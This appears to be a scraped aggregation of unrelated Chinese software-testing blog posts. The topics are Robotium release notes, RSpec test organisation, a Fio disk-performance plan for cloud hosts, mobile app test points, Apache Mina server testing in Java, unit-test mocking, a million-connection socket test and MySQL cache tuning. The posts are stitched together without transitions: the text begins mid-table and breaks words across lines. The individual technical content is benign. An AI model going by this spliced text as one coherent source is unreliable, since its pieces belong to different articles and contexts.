新版的的功能是:
- waitForDialogToOpen() // 等待对话框打开,默认等待时间是largeTimeout - waitForDialogToClose()// 等待对话框关闭,默认等待时间是largeTimeout - getString(String id) // 可以传入文本id - scrollToSide(int side, float scrollPosition) // 水平滑动,多了一个要滑动的百分比scrollPosition(0-1)1是滑动整屏 - scrollViewToSide(View view, int side, float scrollPosition) // 水平滑动view,多了一个要滑动的百分比scrollPosition(0-1)1是滑动整屏 - WebElement.setAttributes(Hashtable<String,String> attributes) // WebElement新增attributes属性 - WebElement.getAttribute(String attributeName) |
与老版本相比的改进点:
- getView(String id) //也可以传入android.R中的id值,而不仅仅是工程下的R文件 - hideSoftKeyboard() // 确保能关闭软键盘了 - clickOnMenuItem() // 提高等待时间 - enterText(), clearEditText() // 比以前要快了 - drag() // 首先会做关闭软键盘操作 - takeScreenshot() // 更好的GL SurfaceViews支持 - searchText/waitForText //支持换行 - By.id //返回动态id - getCurrentWebElements() // 更好的支持css和xpath |
Rspec 是
Ruby社区的主流
测试框架,今天简单玩了一下,觉得有几个特性是十分值得借鉴的
树状的用例组织结构
我们知道很多
测试用例工具,例如: testlink ,其测试用例组织是树状的,但是,我之前接触到的测试框架,例如: TestNg ,它是无法支持这种用例组织结构的
Rspec却可以!
简单的讲,Rspec可以仅由 describe与it 两种语句块构成
首先声明,Rspec是基于 BDD 测试思想的,并没有传统意义上的 测试用例(testcase) 的概念
describe可以层层嵌套describe及it,从而构成树状结构
it语句块是这棵树的叶子节点,功能上接近于测试用例这个概念,用例断言(Assertion)一般就在这里面
还是看示例吧
先看代码,描述的是一盏飞利浦台灯在出厂之路上所经历的种种测试
# encoding: utf-8 describe 'PHILIPS台灯 - 出厂质检' do # Rspec是一门测试DSL 但其中可以夹杂原生Ruby代码 比如这个echo()函数 def echo(input) puts input end # Rspec与TestNG/JUnit一样 也有类似before/after的hook # 其作用范围为其所在的describe # before在it语句块之前执行 before(:each) do echo '--- 开始本次测试 ---' end # after在it语句块之后执行 after(:each) do echo "--- 结束本次测试 ---\n\n" end it "冒烟测试(插电源 - 开开关 - 灯亮了)" do echo '插电源 - 开开关 - 灯亮了' end # describe可以与it语句块并列 例如 "冒烟测试" 与 "正向测试" # describe可以层层嵌套 从测试用例组织的角度讲 就是构成了一个树状结构 describe '正向测试' do describe '发光性' do # it语句块接近于传统意义上的testcase it '亮度可以调节' do echo 'min-1-2-3-4-5-max' end it '最大亮度不得超过10000' do echo 'no more than 1w' end it "只能发射白色光" do echo 'white light' end end describe '节能性' do it "符合国家节能标准" do echo '符合国标' end it "每小时耗电不多于0.000001度" do echo '0.000001kwh' end end end describe '异常测试' do # 这里的before hook就只能作用在'异常测试'describe之内了 before(:each) do echo '--- 准备一盏全新台灯 ---' end describe '破坏性测试' do it '榔头砸不坏' do echo '榔头砸不坏' end it '泡水里不短路' do echo '泡水里不短路' end end describe '耐久性测试' do it '连续使用七天七夜不灭' do echo '连续使用七天七夜不灭' end it '风吹雨打也不能阻止我发光' do # 对于未完成的用例 可以先把描述写下来 具体的用例里面使用pending关键字占位 pending '这个用例待完成' end end end end |
再看一下运行结果报表,两相对照,用例的树状结构一目了然 用例命名简单化,且有实际含义 之前写用例,用例命名是一个十分关键但也很头疼的工作,大家懂得 而Rspec本质上是一门 DSL (Domain Specific Language),实际上,从上面的示例代码和运行结果截屏中大家已经可以看到,在Rspec中是无须给测试用例命名的,或者说,用例的命名可以非常书面化,一般就是用例意图的简单描述(即:describe及it关键字后面跟着的描述性语句) 支持未完成的用例先占位 不解释,还是看图 对于未完成的用例,可以先把描述写下来,具体的用例步骤里面使用pending关键字占位 it '风吹雨打也不能阻止我发光' do # 对于未完成的用例 可以先把描述写下来 具体的用例里面使用pending关键字占位 pending '这个用例待完成' end 反映在用例报表中,这个用例就被标志为黄色了 树状的用例组织结构/用例命名简单化/支持未完成的用例先占位,这三个特性使得使用Rspec编写测试用例时,思路可以非常自由,开阔,很像是在写 markdown ,来不及的地方,也可以先使用 pending 占位 写完以后,跑一遍用例,生成的html报表可读性很强,可以直接用于策划,开发,测试之间的沟通(必杀技,有木有!) 其它不错的特性 Rspec是一门DSL,但它仍旧支持在用例中参杂原生Ruby代码,如下所示 Rspec与TestNG/JUnit一样,也有类似before/after的hook(如下所示),其作用范围是当前的describe 由于describe允许层层嵌套,因此,Rspec中的before/after的作用域也是层层嵌套的,比之TestNG的Before/After,灵活性大大超过 describe 'PHILIPS台灯 - 出厂质检' do # Rspec是一门测试DSL 但其中可以夹杂原生Ruby代码 比如这个echo()函数 def echo(input) puts input end # Rspec与TestNG/JUnit一样 也有类似before/after的hook # 其作用范围为其所在的describe # before在it语句块之前执行 before(:each) do echo '--- 开始本次测试 ---' end # after在it语句块之后执行 after(:each) do echo "--- 结束本次测试 ---\n\n" end |
|
尽管随着业界发展,处理器速度、内存大小以及I/O执行速度在快速增长,但I/O操作的吞吐量和响应时间仍然比内存访问操作要慢得多。此外,由于很多
工作负载都涉及到I/O操作,磁盘I/O很容易成为系统的瓶颈。因此,磁盘读写性能往往是
性能测试中一向需要考量的环节。
本次测试目标
本次磁盘性能测试对宿主机和各个规格云主机的磁盘性能做出加压。并重点关注云主机之间的互相影响,以及云主机与宿主机之间的影响。
根据这个思路,设计以下四个测试点。
测试点一:单独测试各规格云主机的性能。一来将测试结果作为基准数据,二来通过对比IOPS与磁盘空间的比例关系来验证磁盘QoS是否起作用。
测试点二:设计宿主机磁盘使用率成梯度负载,测试一台云主机、多台云主机混合场景下的云主机磁盘性能变化。用于得出宿主机磁盘负载对其上云主机磁盘性能的影响。
测试点三:宿主机空闲,云主机之间的互相影响。一台云主机磁盘设计成梯度负载,测试另一台云主机的磁盘变化情况。
测试点四:多台云主机组合加压,使得宿主机的磁盘使用率呈现梯度,在这种场景下,测试宿主机磁盘性能。用于得出云主机磁盘压力对宿主机磁盘性能的影响。
设计
测试用例时,应当时刻记住测试目的。先想好要得到什么样的结果,要得到什么样的对比,然后再有针对性的设计用例。做对比时,要保证只有一个参数再变动,如此才能得出这个参数对结果的影响。
工具选取与调研
考虑到
用例设计中的各种场景以及想要掌握的资源指标,最后选取了Fio作为本次测试的工具。Fio是一个用来对硬件I/O进行
压力测试和验证的工具。支持13种不同的I/O引擎,包括:sync, mmap, libaio, posixaio, SG v3, splice, null, network, syslet, guasi, solarisaio 等。
在Fio中,可以设置的选项有:
读写方式:随机读、随机写、顺序读、顺序写、随机读写、顺序读写。
文件大小:Fio进行I/O操作时使用的文件大小。
运行时间:一次测试执行的时间,在该时间段内,Fio将不断执行I/O操作。
混合场景读写比例:如果指定为读写操作(读与写操作都有),那么可以指定读与写占的时间比例。
线程数:指定多线程同时执行相同的测试任务。
Fio输出结果中含有iops、延迟时间、磁盘占用率等指标数据。
在本次测试中,通过指定Fio的rate_iops参数,即限定云主机读写的负载,来达到用例中设计的组合场景。
在使用Fio时,可以通过设定job文件,可以实现多条访问规则的顺序执行,进而缩减命令行中的选项长度。
一个job文件可以控制产生特定数目的线程和文件。典型的job文件有global段,一个或多少job段。
运行时,fio从文件读这些参数,做处理,并根据这些参数描述,启动这些仿真线程/进程。
运行job的方式: fio job_file
job文件采用经典的ini文件,[]中的值表示一项job的名称。
监控指标的确定
磁盘I/O的性能经常基于吞吐率和延迟来评估。磁盘驱动器对大数据量顺序传输的处理常常优于小数据量随机传输操作。对于磁盘的监控指标,主要集中在以下三个方面:
测试工具Fio统计的指标:iops,bps(传输速度),延迟时间。
系统cpu相关的指标:%usr,%sys,%iowait,中断次数,上下文切换次数。特别关注cpu0的使用情况。
系统磁盘I/O相关的指标:tps,await,svctm,%util。
上述各项指标含义如下:
IOPS:每秒钟处理的磁盘IO次数,由fio工具统计得出。
BPS:每秒钟处理的数据量大小,由fio工具统计得出。
延迟时间:
%usr:在用户级别运行所使用的CPU的百分比,由mpstat命令统计得出。
%sys:在系统级别(kernel)运行所使用CPU的百分比,由mpstat命令统计得出。
%iowait:因IO导致的进程等待,由mpstat命令统计得出。
中断:CPU中断次数,由vmstat命令统计得出。
上下文切换:CPU的控制权由运行任务转移到另外一个就绪任务时所发生的事件次数,由vmstat命令统计得出。
tps:每秒从物理磁盘I/O的次数,由iostat命令统计得出。
await:从设备流出的平均I/O请求时间,包括请求在队列和服务时的时间,由iostat命令统计得出。
svctm:平均I/O请求的服务时间,由iostat命令统计得出。
磁盘util%:磁盘利用率,由iostat命令统计得出。
测试过程
一、测试脚本的准备与验证
1.编写运行在云主机上的测试脚本
该脚本主要用于触发Fio进行测试,并制定log文件的存放路径。
2.将测试脚本及监控脚本拷贝至云主机
为了让测试过程尽可能自动化,在宿主机上将必要的文件分发到特定云主机上执行。需要的文件有测试脚本及负责监控的脚本。
3.ssh远程执行云主机上脚本
宿主机上通过ssh命令使云主机上测试脚本运作,并触发监控脚本对资源使用情况进行记录。
4.收集结果数据拷贝回宿主机
云主机上测试结束后,统一将各个轮次结果拷贝回宿主机归档,便于后续集中处理。
二、指标监控的实现
使用Perfease进行资源监控。 工具介绍链接:http://doc.hz.netease.com/pages/viewpage.action?pageId=16782036
三、测试结果的收集与整理
使用monitor.sh会将测试过程中所有的指标数据统计并保存到文件中。而为了保证监控数据的有效性,监控的时效往往略小于真实测试时间。此外专门编写了脚本来计算各指标的平均值,但将各轮测试的结果挑选出来放进报告中颇为费时。
而在整理数据的过程中,可能会遇到一些问题,例如同一用例跑两轮,两轮结果误差较大。当误差超过5%时,基本可以认定其中有一组数据无效。需要再跑一轮测试进行验证。
还有可能会发现,结果数据是准确的,但与对应场景预期的结果不符。这种情况可能是脚本参数设置不对,也有可能暴露了其他问题。需要对这种情况需要找开发了解相关背景信息,进而定位原因。
测试结论与总结
针对四个测试点的测试目的分别对测试结果进行提炼总结,结果与测试前的预期相符:
通过测试不同规格的云主机磁盘性能,各云主机iops比例与云主机磁盘空间比例相近,可以验证磁盘QoS起了作用。
随着宿主机磁盘负载增加,云主机iops快速下降;await与svctm差值增大,表明IO在请求队列中的时间增加;%iowait增大,cpu等待io时间变长。
宿主机磁盘空闲时,单台云主机磁盘负载增加,对其他云主机的磁盘性能影响很小。多台云主机负载增加时,其他云主机IO等待时间变长。
随着云主机磁盘负载增加,宿主机iops减少,await与svctm差值增大,说明IO请求在队列中时间增加。
预测试的重要性
预测试是指在正式测试之前对基本功能的一个基本验证。在这个过程中进行一些探索和验证,小规模的模拟正式测试来提前暴露一些问题,最终降低测试成本与风险。
这几个月下来的工作给我的体会是,性能测试过程似乎具备这样的特点:
测试工具需要设置多项参数来实现业务规模、场景负载等条件,各项指标间可能需要捆绑设置。即测试条件较复杂。
执行一个轮次下来往往时间很长,且大多数测试工具在执行完成后才会出具结果报告。即测试时间较漫长。
测试环境要保证前后一致。测试进程尽量独占整个系统,避免测试外的因素影响最终结果。
鉴于以上几点,如果因为测试脚本或测试环境的原因影响了结果,则会造成很大的时间损失。而引入预测试的目的,就是帮助我们提前检验测试脚本和测试环境,估量实际测试时间并发现需要人工介入的时刻。
此外,由于预测试帮助我们快速地领略了一遍测试过程的“生命周期”,正式测试时会更加得心应手。
及时发现问题
即便使用预测试来提前收集测试信息,但如何能够确保测试脚本和测试环境不出一点问题呢?很多时候我们发现不了错误是因为我们根本不知道自己犯了错误。
“实践是检验真理的唯一方法”,确保能发现的问题已经解决后,只好提心吊胆地开始正式测试了。
测试执行过程虽然漫长,但不能掉以轻心,时刻关注新鲜出炉的结果数据。若结果表现与预期不符,要及早定位问题:是系统误差,还是测试工具设置不对,还是数据收集时统计错了目标?
越早发现问题,越能节省成本。
向测试自动化靠拢
由于测试需要关注宿主机与云主机两方面的资源情况,监控数据需要分别收集。且测试用例设计了各种负载梯度,造成测试脚本和Fio的job文件偏多,需要对应分发到各个云主机上。这些都是繁琐但不可缺少的环节,为了防止人工操作带来的失误,在这些机械的操作尽可能地编写脚本令其自动实现。
自动化除了可以用来分发测试脚本、收集测试数据,还可以对新分配的云主机进行初始化,例如安装必要的工具包、更新软件源等等操作。
总而言之,自动化是一项提高效率,避免机械繁琐操作的好思路、好方法。磨刀不误砍柴工,花一点时间编写自动化工作的脚本,能为后续工作带来极大便利。
好久没写
日志了,之前看到别人好的日志就转载过来,自己很少总结。以后每周五晚上抽时间自己总结一下,时间不等人,下面就开始写自己总结的手机APP测试点。
1 功能方面
1.1安装、卸载、启动、运行、清除缓存/数据运行看看是否正常
1.2交互:运行时接电话、收短信、锁屏、充电、闹铃
1.3和第三方软件兼容:和同类产品同时运行时候出错,
360手机助手、
手机管家等是否对软件有非友好提示、限制使用root权限相关功能等。
1.4所谓错误潜伏在边界,隐藏在角落,所以边界值是必须要重点
测试的。为空、超上限、超长内容都有可能导致程序Crash。还有一点就是在边缘的一些功能,可能有的用户都用不到,如分享一个网址,你只看了能不能分享成功,没去这个网站看看是不是自己要分享的内容,不一致跟踪很容易遗漏这种问题。
1.5等价类:把限制输入的内容分一下类,然后设计进行输入,常用的有特殊符号(@%&/'"[]*_)、null、字母大小写、汉字、数字正负、敏感字等。顺便说一下搜索,输入1或者0容易出现异常。
1.6安全性:输入
SQL语句、代码<%PHP%>、登录错误提示“用户名或密码错误”、输入错误几次后设制等待时间、找回密码验证码最好是6位以上非纯数字并且限制重试的次数、权限控制等。
2 兼容性方面
2.1系统版本兼容性,兼容性是手机APP的一大特点,安卓2.1、2.2、2.3、4.0、4.1、4.2版本。低版本容易出现不兼容问题。
2.2分辨率兼容性,各个分辨率检查软件的UI是否和需求一致。 2.3手机厂商,小米、三星、
华为、酷派、oppo、中兴、HTC等。
3 性能方面
3.1客户端:关注点就是启动时间、页面加载时间、主要功能占用的CPU、内存、流量、耗电量、电流。与同类产品相比较是否有优势。这里介绍两个工具DDMS里面搜索Displayed关键字就可以看到页面加载时间、emmagee简单易用,可以去网上下载。
3.2服务器:利用接口对服务器施加压力,重点关注响应时间、吞吐量、并发数、事物通过率等。这里介绍工具有loadrunner(强大)、
Jmeter(灵活).
4易用性方面
用户的操作习惯,大部分人用右手,所以确定按钮可以放在右边,根据手机页面设计最合适的UI。操作起来简单易懂,不用考虑很多。
5稳定性方面
安卓APP的稳定性推荐monkey最合适不过了,通过随机事件流模拟人的操作,对检查程序的内存溢出、空指针有很大的作用。monkey的使用可以参考我写的日志。最好自己公司写个脚本更规范。
以上是自己总结的,肯定有疏漏之处,谁有好的想法可以写在下面。
版权声明:本文出自 张亚洲 的51Testing软件测试博客:http://www.51testing.com/?521817
原创作品,转载时请务必以超链接形式标明本文原始出处、作者信息和本声明,否则将追究法律责任。
最近
接口测试的一个项目服务端是使用mina框架写的,顺便
学习了下mina2.0。下面简单介绍下mina框架及测试相关的内容。
一、mina是什么
官方解释:Apache的Mina(Multipurpose Infrastructure Networked Applications)是一个网络应用框架,可以帮助用户开发高性能和高扩展性的网络应用程序;它提供了一个抽象的、事件驱动的异步API,使Java NIO在各种传输协议(如TCP/IP,UDP/IP协议等)下快速高效开发。
官网地址:http://mina.apache.org/
源码分析:http://my.oschina.net/ielts0909/blog/90355/
从上图可以看出,mina分为客户端和服务端,客户端建立连接,同时开启一个IoProcessor线程,服务端监听连接,客户端和服务端的连接周期由IoSession管理,IoFilter用来过滤消息,而IoHandler则主要用于业务的处理。
三、主要的类
1、IoService
IoService是创建服务的顶层接口,无论客户端还是服务端,都是从它继承实现的。
以下是创建服务端的代码
try { acceptor = new NioSocketAcceptor();\\创建一个服务端 acceptor.getFilterChain().addLast( "codec", new ProtocolCodecFilter(new TextLineCodecFactory(Charset.forName("UTF-8"), LineDelimiter.WINDOWS.getValue(), LineDelimiter.WINDOWS.getValue()))); \\绑定一个解码器 acceptor.getFilterChain().addLast("logger",new LoggingFilter()); \\绑定一个 日志处理器 acceptor.getSessionConfig().setReadBufferSize(2048);\\设置读缓冲区大小 acceptor.getSessionConfig().setIdleTime(IdleStatus.BOTH_IDLE, 10);\\设置读写空闲进入时间 acceptor.setHandler(new IoHandlerAdapter());\\设置业务处理器 acceptor.bind(new InetSocketAddress(port));\\绑定端口 logger.info("服务端启动成功... 端口号为:" + port); } catch (Exception e) { logger.error("服务端启动异常....", e); e.printStackTrace(); } |
不难看出,要建立一个服务端的代码很简单,这比Java NIO或单纯用socket编程来的简单很多。
2、IoProcessor
对于一个IoAcceptor或IoConnector线程对应一个IoProcessor线程用于IO的处理,这个IoProcessor线程从IoProcessor线程池中取出。IoProcessor线程池的大小默认为机器的CPU核数+1,例如双核机器的IoProcessor的线程池大小默认为3,通过添加ExecutorFilter可以设置线程池,每个IoProcessor管理多个IoSession
acceptor.getFilterChain().addLast("threadpool",new ExecutorFilter(corePoolSize, maximumPoolSize, keepAliveTime,unit)
3、IoSession
IoSession是用来保持IoService的上下文,一个IoService在建立连接之后建立一个IoSession(一个连接一个session),IoSession的生命周期从Connection建立到断开为止。
主要功能:
1、管理连接(session.getSessionConfig.XX)。这里的管理连接并不是直接去控制我们上次讲的最底层的连接acceptor和connector。如果acceptor和connector建立的一条管道,那session就是在管道内的管理者,他是没有办法将管道对半拆分开的,他只能从内部阻断两边的通信。管理连接还有部分就是可以配置缓冲区的大小,闲置时间等等。
2、存储信息(session.setAttribute())。和web里的session一样,这里的session也有存储attribute的功能,不过一般来说,这里存储的都是和连接有关的东西,并不会像web开发一样存一些业务上的东西。
3、驱动读写操作。如session.write()。
4、统计功能。Session还记录了连接中的byte、message等数量。
4、IoHandler
public interface IoHandler { void sessionCreated(IoSession session) throws Exception; void sessionOpened(IoSession session) throws Exception; void sessionClosed(IoSession session) throws Exception; void sessionIdle(IoSession session, IdleStatus status) throws Exception; void exceptionCaught(IoSession session, Throwable cause) throws Exception; void messageReceived(IoSession session, Object message) throws Exception; void messageSent(IoSession session, Object message) throws Exception; } |
一般情况下,我们最关心的只有messageReceived方法,接收消息并处理,然后调用IoSession的write方法发送出消息。一般情况下很少有人实现IoHandler接口,而是继承它的一个实现类IoHandlerAdapter,这样不用覆盖它的7个方法,只需要根据具体需求覆盖其中的几个方法就可以。
5、IoFilter
Mina最主要的工作就是把底层传输的字节码转换为Java对象,提供给应用程序;或者把应用程序返回的结果转换为字节码,交给底层传输。这些都是由IoFilter完成的。
Filter,过滤器的意思。IoFilter,I/O操作的过滤器。IoFilter和Servlet中的过滤器一样,主要用于拦截和过滤网络传输中I/O操作的各种消息。
IoService实例会绑定一个DefaultIoFilterChainBuilder ---- 过滤器链,我们把自定义的各种过滤器(IoFilter)自由的插放在这个过滤器链上了。
Mina中自带的解码器:
CumulativeProtocolDecoder 累积性解码器
SynchronizedProtocolDecoder 这个解码器用于将任何一个解码器包装为一个线程安全的解码器,用于解决每次执行decode()方法时可能线程不是上一次的线程的问题,但这样会在高并发时,大大降低系统的性能。
TextLineDecoder 按照文本的换行符( Windows:\r\n 、Linux:\n、Mac:\r)解码数据。
如何自定义编解码?
1.继承相关编解码器类,重写实现doDecode/doEncode方法
2.重写ProtocolCodecFactory工厂类
三、如何测试mina的服务端
1、创建自己的mina客户端
public IoConnector creatClient() { NioSocketConnector connector = null; try { connector = new NioSocketConnector(); connector.getSessionConfig().setReadBufferSize(1024 * 1024 * 5); connector.getSessionConfig().setBothIdleTime(10); connector.getSessionConfig().setKeepAlive(true); connector.setHandler(new MyIoHandler()); connector.getFilterChain().addLast("codec", new ProtocolCodecFilter(new DecodeFactory())); connector.setConnectTimeoutMillis(5000); } catch (Exception e) { e.printStackTrace(); } return connector; } |
2、重写Hanlder类,其中最重要的messageReciever方法需要先写好如何处理收到的数据,包括断言等
@Override public void sessionCreated(IoSession session) throws Exception { logger.info("服务端与客户端创建连接..."); } @Override public void sessionOpened(IoSession session) throws Exception { logger.info("服务端与客户端连接打开..."+ "当前第" + session.getId() + "个客户端"); } @Override public void messageReceived(IoSession session, Object message) throws Exception { if (message instanceof IoBuffer) { ServerResponse.getResponseInfo(session,(IoBuffer)message); } } @Override public void messageSent(IoSession session, Object message) throws Exception { logger.info("服务端发送信息成功..."); } @Override public void sessionClosed(IoSession session) throws Exception { logger.info("服务端与客户端连接断开..."); } @Override public void sessionIdle(IoSession session, IdleStatus status) throws Exception { logger.info("服务端进入空闲状态..."); } @Override public void exceptionCaught(IoSession session, Throwable cause) throws Exception { logger.error("服务端发送异常...", cause); } |
3、针对服务端通信规则重写编解码方法,支持断包粘包
public class ClientDecoder extends CumulativeProtocolDecoder { public static Logger logger = Logger.getLogger(ClientDecoder.class); @Override protected boolean doDecode(IoSession session, IoBuffer in, ProtocolDecoderOutput out) throws Exception { IoBuffer buf = IoBuffer.allocate(0).setAutoExpand(true); IoBuffer buffer = IoBuffer.allocate(0).setAutoExpand(true); byte [] head = new byte[16]; logger.info(in.remaining()); if (in.remaining() > 0) { int msgLen = 16;// 16字节判断消息长度 if (in.remaining() > msgLen) { in.mark(); in.get(head, 0, 16); buf.put(XorParamCodec.decryptXOR(head)); buf.flip(); int length=buf.getInt(); if (length - msgLen > in.remaining()) { in.reset(); return false; } else { in.position(0); while (in.hasRemaining()) { buffer.put(in.get()); } buffer.flip(); out.write(buffer); return false; } } } return false; } } |
4、编写Test发送数据
@Before public void beforeTest() { ip = PropertiesHandle.readValue("ip"); port = Integer.valueOf(PropertiesHandle.readValue("port")); mmc = new MyMinaClient(); } @Test public void testUpdate() throws Exception { IoConnector connector = mmc.creatClient(); IoSession session = mmc.getIoSession(connector, ip, port); mmc.sendMsg(session, ClientRegister.getRegisterInfo()); \\ClientRegister和ClientUpdate类是客户端发送的数据 mmc.sendMsg(session, ClientUpdate.getUpdateInfo()); mmc.close(session, connector); Assert.assertEquals(AcctGuardData.Registerr_Rec, HeaderInfo.response); } |
仿照《Diablo2》的技能树系统,结合自己的一些经验体会,整理了一份
测试自动化的技能树,仅供参考,大家轻拍~
说明:
1. 每个技能都有解锁等级(Lv)
2. 除了等级,技能之间还存在依赖关系(见父子节点关系及箭头),开启全部前置技能后,方可解锁新技能
3. 解锁后可以继续为某技能投入技能点,以增强其威力
单元测试是在开发阶段由开发人员进行设计编写的测试,在不同的组织中单元测试与被测试代码实现先后顺序不同,有的组织采用先实现被测试代码,在编写测试代码,执行测试,有些组织采用先编写测试代码,执行测试,实现发生错误的被测试代码,再执行测试。 根据的区别就是组织内部是否在实践TDD开发方法。
在编写单元测试时,有几个方面需要考虑:
1、在测试一个方法时,如何构造被测试方法参数,如果参数类型比较简单那么比较容易构造,如果参数类型是复杂类型结构,并且存在多层结构,那么就需要多考虑考虑。
2、在被测试方法中,有外部服务的调用或者外部模块调用,调用结果影响测试结果,那么如何考虑进行隔离。 因为外部服务或者外部模块被调用方法的不同,针对每种调用方法都要相应的隔离技术,例如:
外部模块调用类在全局变量中被定义围静态变量
外部模块被调用类是通过参数对象传递给方法的
外部对象是一个全局静态对象,在被测试方法内直接调用
外部对象是在被测试方法中,new 出来的新实例,并在方法体内调用
外部模块是被隐式调用的,如被测试方法访问一个网络服务端口获取信息等等
3、结果验证,单元测试要验证那些信息,按照方法结果体现形式的不同,有如下对象要验证:
直接返回值验证
间接对象验证 (如void 方法,它实现了对一个全局对象或内部私有对象实例的属性修改,那么要抓出对象实例并获得属性值验证结果)
控制台信息输出
网络数据
如上要考虑的这些要考虑的方面,基本上都可以通过mock 进行处理。mock 提供的是一种隔离技术,它提供如下几种隔离办法: 1、 完全隔离,mock整个被调用类方法
2、 部分隔离,mock部分被调用类方法
3、 服务桩隔离, 模拟被调用的服务。接受处理请求。
在基于
java开发语言的项目上,可以使用PowerMock 作为Mock框架。
在上一篇中我们讲述了百万连接的
测试过程及出现的问题和解决办法,有同学对其中的测试方法也有兴趣,我在这里再补充一下。这里的测试方法主要是指测试客户端如何发起百万连接并保持它们。由于受到单机单ip的端口数限制,即如下
pomelo@debian:~/socktest$ cat /proc/sys/net/ipv4/ip_local_port_range 2048 65500 |
单个客户端ip只能建立6万多连接,所以我们需要大约50个独立ip发起300万的连接。为简单起见,使用50台512M内存的虚拟机作为客户端。问题归结为两个方面
1. 单客户端如何建立并保持6万连接
2. 如何控制几十个客户端
我们以
java编写客户端代码。首先我们尝试的是一线程一连接的方式。这样在java中就需要维护6万个线程及其相关的对象,包括连接对象。很快我们就发现客户端java进程出现了OOM,512M内存不够用了。我们分析下测试目标,目的是保持6万个连接对象,在这种方式下我们相当于是使用了线程这种容器来保存这些对象,但由于线程本身的内存开销巨大,因此我们应该考虑换个轻量级的瓶子来装这些连接对象。
最终代码如下,即在一个线程内顺序建立连接,并将连接保存到一个数组中,至此就解决了上文问题中的一个方面
private static int n = 0; private static Socket[] sockList = null; static { n = Integer.valueOf(Config.getProperty("socket.num")); sockList = new Socket[n]; } public void connect(String host, int port) throws UnknownHostException { Socket so = null; long sleepTime = Integer.valueOf(Config.getProperty("socket.sleep")); for (int i=0;i<n;i++) { try { so = new Socket(host, port); sockList[i] = so; Thread.sleep(sleepTime); } catch (IOException e) { logger.error(e.getMessage()); } catch (InterruptedException e) { } } } |
接着,又是如何控制几十台客户端呢?其实比较简单,就是在
shell脚本中通过ssh调用部署在客户端机器上的测试程序。主要有两个问题需要注意,一是ssh需要认证,我们可以在任意机器上产生无密码的ssh公私钥对,将公钥分发到客户端机器上。二是设置一个ip列表的配置文件。
这样,两个问题都解决了,可以开始测试了。测试过程及其问题不完全记录可以点这里。
MySQL数据库是 IO 密集型的程序,和其他数据库一样,主要功能就是数据的持久化以及数据的管理
工作。本文侧重通过优化MySQL 数据库缓存参数如查询缓存,表缓存,
日志缓存,索引缓存,innodb缓存,插入缓存,以及连接参数等方式来对MySQL数据库进行优化。
缓存参数
这里先引用一句话,从内存中读取一个数据的时间消耗是微秒级别,而从普通硬盘上读取一个数据是在毫秒级别,二者相差3个数量级。可见,想对MySQL数据库进行优化,合理调配缓存参数显得更为直接
表缓存
相关参数: table_open_cache
指定表缓存的大小。每当MySQL访问一个表时,如果在表缓冲区中还有空间,该表就被打开并放入其中,这样可以更快地访问表内容。通过检查峰值时间的状态值,如果发现open_tables等于table_cache,并且opened_tables在不断增长,那么就需要增加table_open_cache的值了。注意,不能盲目地把这个参数设置得很大,如果设置太大,会引起文件描述符不足,造成性能不稳定或者数据库连接失败。建议为512
查询缓存
相关参数: query_cache_size / query_cache_type
QC(注:查询缓存简称) 主要用来缓存 MySQL 中的 结果集,也就是一条
SQL语句执行的结果集,所以仅仅只能针对select 语句。如果启用了QC 功能,MySQL在接到select 请求后,如果该语句满足QC的要求,MySQL 会直接根据HASH算法将接收到的select 语句以字符串方式进行hash,然后到QC中直接查找,如果已经在缓存中,该select 请求就会直接将数据返回,从而省略了后面所有的步骤(如 SQL语法解析,优化器优化以及存储引擎请求数据等),极大的提高性能。
当然,QC也有一个致命的缺陷,就是当表中数据有变化时,所有引用到该表的 QC 缓存全部失效。所以,当数据变化非常频繁的情况下,使用QC 反而得不偿失。
QC 的使用需要多个参数配合,其中最为关键的是 query_cache_size 和 query_cache_type ,前者设置缓存记录集的内存大小,后者设置在何场景下使用QC 。
在以往的经验来看,中等规模的网站,query_cache_size 设置 256MB 足够了。当然,还可以通过计算QC的命中率来进行调整。
Qcache_hits / (Qcache_hits + Qcache_inserts) * 100%
query_cache_type有三种选择:0(OFF,不使用QC),1(ON,默认使用QC ),2(DEMAND,默认不使用QC)。
为什么加上“默认”?MySQL还支持动态使用缓存的SQL语法,如下:
# 强制使用缓存
SELECT SQL_CACHE id FROM table
# 强制不使用缓存
SELECT SQL_NO_CACHE id FROM table
日志缓存
相关参数:binlog_cache_size
用于在打开了二进制日志(binlog)记录功能的环境中,是 MySQL 用来提高 binlog 的记录效率而设计的一个在短时间内缓存binlog 数据的内存缓存。
如果数据库中没有大事务,写入不是特别频繁,2MB~4MB是一个合适的选择。但是如果数据库大事务较多,写入比较频繁,可适当加大。使用的时候,还可以通过binlog_cache_use 以及 binlog_cache_disk_use来分析设置的binlog_cache_size是否足够,是否有大量的binlog_cache由于内存大小不够而使用临时文件来缓存了。
索引缓存
相关参数:key_buffer_size
这个是对MyISAM表性能影响最大的一个参数,用来设置用于缓存 MyISAM存储引擎中索引文件的内存区域大小。如果有足够的内存,这个缓存区域大小可以设为所有的 MyISAM表的索引大小的总和,即 data 目录下所有*.MYI文件大小的总和。
注意,由于 MyISAM 引擎只会缓存索引块到内存中,而不会缓存表数据库块。所以,查询SQL语句一定要尽可能让过滤条件都在索引中,以便使用到索引缓存来提高查询效率。
计算索引缓存未命中的概率:
Key_reads / Key_read_requests * 100%
插入缓存
相关参数:bulk_insert_buffer_size
用于使用 MyISAM引擎,用来缓存批量插入数据的时候临时缓存写入数据。当我们使用如下几种数据写入语句的时候,会使用这个内存区域来缓存批量结构的数据以帮助批量写入数据文件,默认8M,建议不要超过32M
insert … select …
insert … values (…),(…),(…),…
load data infile… into… /* 非空表 */
InnoDB缓存
相关参数:innodb_buffer_pool_size / innodb_additional_mem_pool_size
innodb_buffer_pool_size参数是影响InnoDB存储引擎性能的最为关键的一个参数,设置用于缓存 InnoDB 索引及数据块的内存区域大小,类似于 MyISAM 存储引擎的 key_buffer_size 参数,当然,可能更像是 Oracle 的 db_cache_size。简单来说,当操作一个 InnoDB 表的时候,返回的所有数据或者去数据过程中用到的任何一个索引块,都会涉及到这个内存区域。
innodb_buffer_pool_size 参数设置了 InnoDB 存储引擎需求最大的一块内存区域的大小,直接关系到 InnoDB存储引擎的性能,所以如果有足够的内存,尽可能加大该参数的值,将尽可能多的 InnoDB 的索引及数据都放入到该缓存区域中。
当然,可以通过计算缓存命中率,并根据命中率来调整这个参数的大小:
(Innodb_buffer_pool_read_requests – Innodb_buffer_pool_reads) / Innodb_buffer_pool_read_requests * 100%
